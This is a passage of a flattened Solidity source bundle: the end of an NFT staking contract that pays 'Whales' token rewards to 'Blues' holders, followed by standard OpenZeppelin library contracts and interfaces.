0; } /* Each minting tier is elligble for a token claim based on how early they minted. * first 500 tokenIds get 50 whales for instance. * there are 3 tiers. */ function claimInitialMintingRewards(uint256[] calldata tokenIds) external nonReentrant whenNotPaused { uint256 rewards = 0; for (uint256 i = 0; i < tokenIds.length; i++) { if (Blues.ownerOf(tokenIds[i]) == address(this)) require(ocean[tokenIds[i]] == msg.sender, "Non owner of blue"); else require(Blues.ownerOf(tokenIds[i]) == msg.sender, "Non owner"); require( initialMintClaimLedger[tokenIds[i]] == false, "Rewards already claimed for this token" ); initialMintClaimLedger[tokenIds[i]] = true; if (tokenIds[i] <= 500) rewards += INITIAL_MINT_REWARD_TIER_1; else if (tokenIds[i] > 500 && tokenIds[i] < 1500) rewards += INITIAL_MINT_REWARD_TIER_2; else rewards += INITIAL_MINT_REWARD_TIER_3; if (isLegendary(tokenIds[i])) rewards += INITIAL_MINT_REWARD_LEGENDRY_TIER; } Whales.mint(msg.sender, rewards); emit WhalesMinted(msg.sender, rewards); } function isLegendary(uint256 tokenID) public pure returns (bool) { if ( tokenID == 756 || tokenID == 2133 || tokenID == 1111 || tokenID == 999 || tokenID == 888 || tokenID == 435 || tokenID == 891 || tokenID == 918 || tokenID == 123 || tokenID == 432 || tokenID == 543 || tokenID == 444 || tokenID == 333 || tokenID == 222 || tokenID == 235 || tokenID == 645 || tokenID == 898 || tokenID == 1190 || tokenID == 3082 || tokenID == 3453 || tokenID == 2876 || tokenID == 5200 || tokenID == 451 || tokenID > 5555 ) return true; return false; } /* The main accounting modifier. * It runs when the user interacts with any other function. * and before the function itself. * stores the owed results till now in the totalWhalesEarnedPerAddress * mapping. It then sets the lastInteractionTimeStamp to the current block.timestamp */ modifier updateRewardsForUser() { if (userFirstInteracted[msg.sender]) { totalWhalesEarnedPerAddress[msg.sender] += (((block.timestamp - lastInteractionTimeStamp[msg.sender]) * totalBluesStakedPerAddress[msg.sender] * userMultiplier[msg.sender]) / 1 days) << 1; // now accounting if they are holding legendries. if (legendryHoldingsPerUser[msg.sender] > 0) { totalWhalesEarnedPerAddress[msg.sender] += ((block.timestamp - lastInteractionTimeStamp[msg.sender]) * (legendryHoldingsPerUser[msg.sender] * DAILY_WHALES_RATE_LEGENDRY)) / 1 days; } lastInteractionTimeStamp[msg.sender] = block.timestamp; } _; } // ----------------------- PASSIVE REWARDS ACCOUNTING ------------------------- // /* * @dev The main accounting modifier for held blues. * It calculates the yeild by taking into account only the unstaked Blues. * First time it is called, it calculates the yeild since a pre-determined timestamp. * Then, it sets the timestamp is set to be the last timestamp this function is called at. * it gets the held tokens from the Blues contract using getOwnerLegder * the mapping totalWhalesPassivelyEarned[msg.sender] stores WHALES earned through holding. */ modifier updatePassiveRewardsForUser() { uint16[] memory userLedger = Blues_V2.getOwnerLedger(msg.sender); if (userLedger.length > 0) { if (!userTimestampInit[msg.sender]) { passiveYeildTimeStamp[msg.sender] = seedTimestamp; userTimestampInit[msg.sender] = true; } _adjustMultiplierForPassiveYeild(userLedger.length, msg.sender); totalWhalesPassivelyEarned[msg.sender] += ( ((block.timestamp - passiveYeildTimeStamp[msg.sender]) * userLedger.length * userHoldingsMultiplier[msg.sender]) ) / 1 days; _adjustLegendaryMultiplierForPassiveYeild(userLedger, msg.sender); if (legendariesUnstaked[msg.sender] > 0) { totalWhalesPassivelyEarned[msg.sender] += ( ((block.timestamp - passiveYeildTimeStamp[msg.sender]) * (legendariesUnstaked[msg.sender] * DAILY_WHALES_RATE_LEGENDRY)) ) / 1 days; } passiveYeildTimeStamp[msg.sender] = block.timestamp; } delete userLedger; _; } /* * @dev The claiming function for the passive rewards * calls the modifier and then mint the tokens. */ function claimPassiveRewardsForUser() external nonReentrant whenNotPaused updatePassiveRewardsForUser { Whales.mint(msg.sender, totalWhalesPassivelyEarned[msg.sender]); emit WhalesMinted(msg.sender, totalWhalesPassivelyEarned[msg.sender]); totalWhalesPassivelyEarned[msg.sender] = 0; } /* * @dev This function gets the stored rewards up to now without minting. * Becuase this will depend on the last interacted timestamp, the user will need to * call at least 1 other functon that uses the passive yeild modifier before calling this function. */ function burnWhalesOnHand(uint256 amount) external whenNotPaused nonReentrant { require( amount <= Whales.balanceOf(msg.sender), "Not enough whales to burn" ); Whales.burn(msg.sender, amount); } /* * @dev This function adjusts the Legendry muliplier for the holder * This accounts for the held non-staked legendries. * @param tokenIds is the list of held tokens to check for. */ function _adjustLegendaryMultiplierForPassiveYeild( uint16[] memory tokenIds, address account ) internal { legendariesUnstaked[account] = 0; for (uint256 i = 0; i < tokenIds.length; i++) { if (isLegendary(tokenIds[i])) legendariesUnstaked[account]++; } } function _adjustMultiplierForPassiveYeild(uint256 holdings, address account) internal { if (holdings < 5) userHoldingsMultiplier[account] = DAILY_WHALES_BASE_RATE; else { if (holdings >= 5 && holdings <= 9) userHoldingsMultiplier[account] = DAILY_WHALES_RATE_TIER_1; else if (holdings >= 10 && holdings <= 19) userHoldingsMultiplier[account] = DAILY_WHALES_RATE_TIER_2; else if (holdings >= 20 && holdings <= 39) userHoldingsMultiplier[account] = DAILY_WHALES_RATE_TIER_3; else if (holdings >= 40 && holdings <= 79) userHoldingsMultiplier[account] = DAILY_WHALES_RATE_TIER_4; else userHoldingsMultiplier[account] = DAILY_WHALES_RATE_TIER_5; } } // ----------------------- PASSIVE REWARDS ACCOUNTING ------------------------- // function getDailyYield(address account) external view returns (uint256) { uint256 yeild = (totalBluesStakedPerAddress[account] * userMultiplier[account]); yeild += (legendryHoldingsPerUser[account] * DAILY_WHALES_RATE_LEGENDRY); return yeild; } function getOcean() external view returns (address[5600] memory) { return ocean; } function setBlues(address _blues) external onlyOwner { Blues = IERC721(_blues); } function setWhales(address _whales) external onlyOwner { Whales = IWhales(_whales); } function setStakingPaused(bool _state) external onlyOwner { stakingPaused = _state; } // only owner function setPaused(bool _paused) external onlyOwner { if (_paused) _pause(); else _unpause(); } function mintForTesting(uint256 amount, address addr) external onlyOwner { Whales.mint(addr, amount); } function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external pure override returns (bytes4) { return this.onERC721Received.selector; } function setBluesV2(address _blues_v2) external onlyOwner { Blues_V2 = IBlues(_blues_v2); } function setSeedTimestamp(uint256 seed) external onlyOwner { seedTimestamp = seed; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721ReceiverUpgradeable { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; import "../utils/ContextUpgradeable.sol"; import "../proxy/utils/Initializable.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ function __Ownable_init() internal onlyInitializing { __Ownable_init_unchained(); } function __Ownable_init_unchained() internal onlyInitializing { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } /** * @dev This empty reserved space is put in place to allow future versions to add new * variables without shifting down storage in the inheritance chain. * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps */ uint256[49] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (security/Pausable.sol) pragma solidity ^0.8.0; import "../utils/ContextUpgradeable.sol"; import "../proxy/utils/Initializable.sol"; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract PausableUpgradeable is Initializable, ContextUpgradeable { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ function __Pausable_init() internal onlyInitializing { __Pausable_init_unchained(); } function __Pausable_init_unchained() internal onlyInitializing { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } /** * @dev This empty reserved space is put in place to allow future versions to add new * variables without shifting down storage in the inheritance chain. * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps */ uint256[49] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; import "../../utils/introspection/IERC165Upgradeable.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721Upgradeable is IERC165Upgradeable { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20Upgradeable { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `to`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `from` to `to` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol) pragma solidity ^0.8.0; import "../proxy/utils/Initializable.sol"; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuardUpgradeable is Initializable { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; function __ReentrancyGuard_init() internal onlyInitializing { __ReentrancyGuard_init_unchained(); } function __ReentrancyGuard_init_unchained() internal onlyInitializing { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and making it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } /** * @dev This empty reserved space is put in place to allow future versions to add new * variables without shifting down storage in the inheritance chain. * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps */ uint256[49] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/math/SafeMath.sol) pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/ERC721.sol) pragma solidity ^0.8.0; import "./IERC721.sol"; import "./IERC721Receiver.sol"; import "./extensions/IERC721Metadata.sol"; import "../../utils/Address.sol"; import "../../utils/Context.sol"; import "../../utils/Strings.sol"; import "../../utils/introspection/ERC165.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); _afterTokenTransfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); _afterTokenTransfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer from incorrect owner"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); _afterTokenTransfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC721: approve to caller"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is 